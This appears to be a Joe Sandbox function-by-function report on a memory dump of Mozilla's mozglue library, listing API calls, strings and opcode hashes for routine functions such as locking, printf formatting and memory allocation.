API ID: InfoInit_thread_footerSystem
String ID: KpT{/
API String ID: 995596006-2391877073
Opcode ID: 8eff6c8684afbf0b1a0d6c345bd87d7ad87e4aa5357c5a4fde11986ed580ce00
Instruction ID: 4545b5fae72336085621dc8518815a8c55669ca083a2845940558711348a7f95
Opcode Fuzzy Hash: 8eff6c8684afbf0b1a0d6c345bd87d7ad87e4aa5357c5a4fde11986ed580ce00
Instruction Fuzzy Hash: F0016D31B041149BCF00EF69D98089973F0EB4E228B9445A9DA069BB40D732B8448BD1

Function 6C8E9B80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C93B92D), ref: 6C8E9BC8
__Init_thread_footer.LIBCMT ref: 6C8E9BDB

Part of subcall function 6C90AB3F: EnterCriticalSection.KERNEL32(6C95E370,?,?,6C8D3527,6C95F6CC,?,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB49
Part of subcall function 6C90AB3F: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D3527,6C95F6CC,?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90AB7C

Strings

KpT{/, xrefs: 6C8E9B87

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeave$InfoInit_thread_footerSystem
String ID: KpT{/
API String ID: 1545129971-2391877073
Opcode ID: f8a1d26afcd183ae53c4c954ce47299f6ff9f4e6c266e173e93661a9d47fee93
Instruction ID: 4a635018a68627e781b46df8320b594183a791bcbb3634519f497cf3dd105167
Opcode Fuzzy Hash: f8a1d26afcd183ae53c4c954ce47299f6ff9f4e6c266e173e93661a9d47fee93
Instruction Fuzzy Hash: 70F03171B041149BCF10EF68D8948A9B3B4EB5A338B9045A9DE0697780D731B959CBD1

Function 6C9194D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

Strings

KpT{/, xrefs: 6C9194DC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: KpT{/
API String ID: 2168557111-2391877073
Opcode ID: 0d49198c5b731e2210ef73006336ce107bb33caf3809e4adb5ab6bbbbc1fb551
Instruction ID: 5d3c700d6eb03bfcd4a46a5ef910e745e08ad0a4dd24158e97fec1162b442f04
Opcode Fuzzy Hash: 0d49198c5b731e2210ef73006336ce107bb33caf3809e4adb5ab6bbbbc1fb551
Instruction Fuzzy Hash: BDF0E931A0410CAFCB006F64DC49EAF7B78EF41258F904029F8095B241D7316918CBE1

Function 6C90D940 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(%lld,?,?,?,?,?,?,6C8E0C42), ref: 6C90D97D

Strings

KpT{/, xrefs: 6C90D94B
%lld, xrefs: 6C90D978

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ?vprint@PrintfTarget@mozilla@@
String ID: %lld$KpT{/
API String ID: 1200798046-3701119676
Opcode ID: 1d1141ec17359c482d25679cb9f712d00395d851df1db7573a4f8d7e932c0bbf
Instruction ID: 43a5669d905046cb1ba095d7e33936ab5f9e68c66b98c8b6967f330f09527621
Opcode Fuzzy Hash: 1d1141ec17359c482d25679cb9f712d00395d851df1db7573a4f8d7e932c0bbf
Instruction Fuzzy Hash: 39F04971A002189BCB10AF59C81069BBBF8EF45650F80846ED89AAB740D735A904CBE0

Function 6C9238B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(0x%llx,?), ref: 6C9238ED

Strings

KpT{/, xrefs: 6C9238BB
0x%llx, xrefs: 6C9238E8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ?vprint@PrintfTarget@mozilla@@
String ID: 0x%llx$KpT{/
API String ID: 1200798046-3027453869
Opcode ID: fd0005ff9cfc8edf451ba090760cbe39f76a769045512b7590d04123db460b79
Instruction ID: 9a9a4cac73e22a797b7beb94a7eb34239cfd74ae2723a33542dc482855246bf1
Opcode Fuzzy Hash: fd0005ff9cfc8edf451ba090760cbe39f76a769045512b7590d04123db460b79
Instruction Fuzzy Hash: 02F06D71A003099FCB209F69C8106AFBBF8EF88314F80846ED89A97B41D734A409CBD0

Function 6C8E81B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8E81DE

Strings

KpT{/, xrefs: 6C8E81BF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C8E81B5

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __stdio_common_vfprintf
String ID: KpT{/$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime
API String ID: 896710484-1905093701
Opcode ID: 83590740e8c3a522fa1bf6718f1d558f1c6f5396a32a9a4680570107b064b7cb
Instruction ID: a1366efe3785e6de3c04107399390e2e89b041ad5051d30602171cbe8150ac37
Opcode Fuzzy Hash: 83590740e8c3a522fa1bf6718f1d558f1c6f5396a32a9a4680570107b064b7cb
Instruction Fuzzy Hash: B7F0823160121CAFCB009F69DC44D9F7BB8EF85268F914029FC096B300D731AD188BE0

Function 6C936DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C936E22
__Init_thread_footer.LIBCMT ref: 6C936E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C936E1D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9177aee6d163a6d81234691756b125c8b8f7752b60974511fce1090ed5097245
Instruction ID: 4907dd0051a5ca8402ee87ca8301913e95e6efd51cbedea5b80321c6947ed943
Opcode Fuzzy Hash: 9177aee6d163a6d81234691756b125c8b8f7752b60974511fce1090ed5097245
Instruction Fuzzy Hash: 59F0E97560E24CCBDB10CB68C850A997775676323CFA41169C41947BD1D731E52ECA93

Function 6C90D8F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000009,%08x,00000000,?,?,6C8DED93), ref: 6C90D920

Strings

KpT{/, xrefs: 6C90D8FB
%08x, xrefs: 6C90D913

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __stdio_common_vswprintf
String ID: %08x$KpT{/
API String ID: 1165403183-971907928
Opcode ID: 9d14a144781ddfa15d9dce9a4d3d2c4edc12be16950fbf8d20d73cc93c55a8b2
Instruction ID: 207898f4223d10db3853cd64c4c5d397f60d960fab95a09217eef2bafd7db007
Opcode Fuzzy Hash: 9d14a144781ddfa15d9dce9a4d3d2c4edc12be16950fbf8d20d73cc93c55a8b2
Instruction Fuzzy Hash: 90F03035A00108ABCB109F65EC05E9E7BB5EF85615F918069E9096B241D73165288BE5

Function 6C932940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C93295C
__aulldiv.LIBCMT ref: 6C93296B

Strings

KpT{/, xrefs: 6C93294E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: KpT{/
API String ID: 218403179-2391877073
Opcode ID: bfd29ddfb381aec7598aa476995256b71dd046ad692603f6441df54c51de4f90
Instruction ID: ecee28662c4b5dec92af1edf8e8869c431d994b06afc3d28991d29ba32dbd18d
Opcode Fuzzy Hash: bfd29ddfb381aec7598aa476995256b71dd046ad692603f6441df54c51de4f90
Instruction Fuzzy Hash: FEF03731704204AFC7109F69DC01A9ABBF4EF99770F50852DE55987680D731A514CBD1

Function 6C8E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C8E9EEF

Strings

NaN, xrefs: 6C8E9EC1
Infinity, xrefs: 6C8E9EB7

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 057df69c29e34c5cdab35dc14ca04feba38d7f7ad6f733b262d36ba0af181049
Instruction ID: 9ddeb20c3cebe7542b5e114e9307b4afb771ff92392070c14c7c3309e2b690a9
Opcode Fuzzy Hash: 057df69c29e34c5cdab35dc14ca04feba38d7f7ad6f733b262d36ba0af181049
Instruction Fuzzy Hash: 23F0CDB1608246CBDB00CF58D945BA43371B75B33CFB00A99C6080BB80D7B5A55ACA82

Function 6C935900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C9551C8), ref: 6C93591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C93592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C935915

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: e74b9af291a2134bf3e6540a3a051ce3787770e69de241402fd6eccce7be39c2
Instruction ID: d6b55cd4ff13f98cc29c16ddecb9329e2daa5c740c1dec8b628dd365536422d0
Opcode Fuzzy Hash: e74b9af291a2134bf3e6540a3a051ce3787770e69de241402fd6eccce7be39c2
Instruction Fuzzy Hash: 6BE04F30209294FBDB018B68C9487457FF89B17339FE48544E56D93AD2C3B5EC4487D1

Function 6C8EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C8EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C8EBEF5

Strings

cryptbase.dll, xrefs: 6C8EBEF0

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: d51c43a1ae36240d844a466b2f6199cc517f342d258890ad39600b834ad9cb5d
Instruction ID: bc00cc5763c457e77f57d50eef76467b6b21db2bce120704bebfda7ee6c27df5
Opcode Fuzzy Hash: d51c43a1ae36240d844a466b2f6199cc517f342d258890ad39600b834ad9cb5d
Instruction Fuzzy Hash: 75D0C731384249E6D750AA608D09B397774A707715F64C421F75554951C7B19464CF94

Function 6C8D50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8D4E9C,?,?,?,?,?), ref: 6C8D510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8D4E9C,?,?,?,?,?), ref: 6C8D5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C8D5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8D4E9C), ref: 6C8D5234

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 0b73ee1b010df623ce5455fe8f1519658ff75e63a132d2dea21d26cd6dcf6795
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 78919BB5501606CFCF24CF08C490A5ABBA2EF99318B298A8DDC599B715D731FC46CBE0

Function 6C9108F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C910918
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C9109A6
EnterCriticalSection.KERNEL32(6C95E7DC,?,00000000), ref: 6C9109F3
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C910ACB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 06c44b4416ac0cf67490db29de858d499f01c269c11087834f5eb1c08b8f60a8
Instruction ID: 4591cb2bd75d859ed660e43e9c14194aacac3756d6aff150e7a51d0ebdcbc71f
Opcode Fuzzy Hash: 06c44b4416ac0cf67490db29de858d499f01c269c11087834f5eb1c08b8f60a8
Instruction Fuzzy Hash: 0C512836B09658CFEB089B15C41562573F9EB82B247B5417AD96597F80DB33EC2187C0

Function 6C92B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C92B2C9,?,?,?,6C92B127,?,?,?,?,?,?,?,?,?,6C92AE52), ref: 6C92B628

Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C9290FF
Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C929108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C92B2C9,?,?,?,6C92B127,?,?,?,?,?,?,?,?,?,6C92AE52), ref: 6C92B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C92B2C9,?,?,?,6C92B127,?,?,?,?,?,?,?,?,?,6C92AE52), ref: 6C92B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C92B127,?,?,?,?,?,?,?,?), ref: 6C92B74D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9911105e51d90f03209fb43b1ab13ef1c3a378b819cbaa83a4eb2ffdebe7023e
Instruction ID: e78bff13a3f2221f9cd89d30a2e0d9d2af2b412afb5561e836c8ed0c03013d76
Opcode Fuzzy Hash: 9911105e51d90f03209fb43b1ab13ef1c3a378b819cbaa83a4eb2ffdebe7023e
Instruction Fuzzy Hash: 1551ED71A15216CBDB14CF18C980A6EB7F9FF44714F558529C8DBABB08D739E804CBA1

Function 6C8E23D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ddd8f36ad094fa83781d9d207b3ff111e0ba4113216d01ede62d4eb8c251395
Instruction ID: 0b0aa909301363466f25e0047028a36acb217bad1ecfb48f47eaa4275b0b7229
Opcode Fuzzy Hash: 7ddd8f36ad094fa83781d9d207b3ff111e0ba4113216d01ede62d4eb8c251395
Instruction Fuzzy Hash: 9451B1B0A01207CFDB14CF28CA8874ABBB1BF49318F658669D8199B741D775E891CF90

Function 6C92DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C91FF2A), ref: 6C92DFFD

Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C9290FF
Part of subcall function 6C9290E0: free.MOZGLUE(?,00000000,?,?,6C92DEDB), ref: 6C929108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C91FF2A), ref: 6C92E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C91FF2A), ref: 6C92E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C91FF2A), ref: 6C92E0FE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e38b907cc4a4e18084bf745d2b3998532309f192fe2d6984eb1c0aef7d076dc3
Instruction ID: e50ef1d6a0bcb0e10a435ff1d693d0ce4ba5dfca3e8fc170dd9fa1fec7a498fe
Opcode Fuzzy Hash: e38b907cc4a4e18084bf745d2b3998532309f192fe2d6984eb1c0aef7d076dc3
Instruction Fuzzy Hash: 1B4111B0658206CFEB14CF78C8C076AB3B6BB45309F240939C596DB744E735E906CB92

Function 6C936180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9361DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C93622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C936250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C936292

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: adeb809ceba021b33365a688d19d08f09b6fc1dfc702859332da4edb5a6ab5f0
Instruction ID: 3e2c1e7204191d6ec2a85f4dc138c2787f8a5e95f2ae1cf2bb55c74b9d806b69
Opcode Fuzzy Hash: adeb809ceba021b33365a688d19d08f09b6fc1dfc702859332da4edb5a6ab5f0
Instruction Fuzzy Hash: 6F31E771A0461A8FDB04CF2CDC80ABA73E9FF95308F218539D55AD7651EB31E698C760

Function 6C926E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C926EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C926EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C926F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C926F5C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
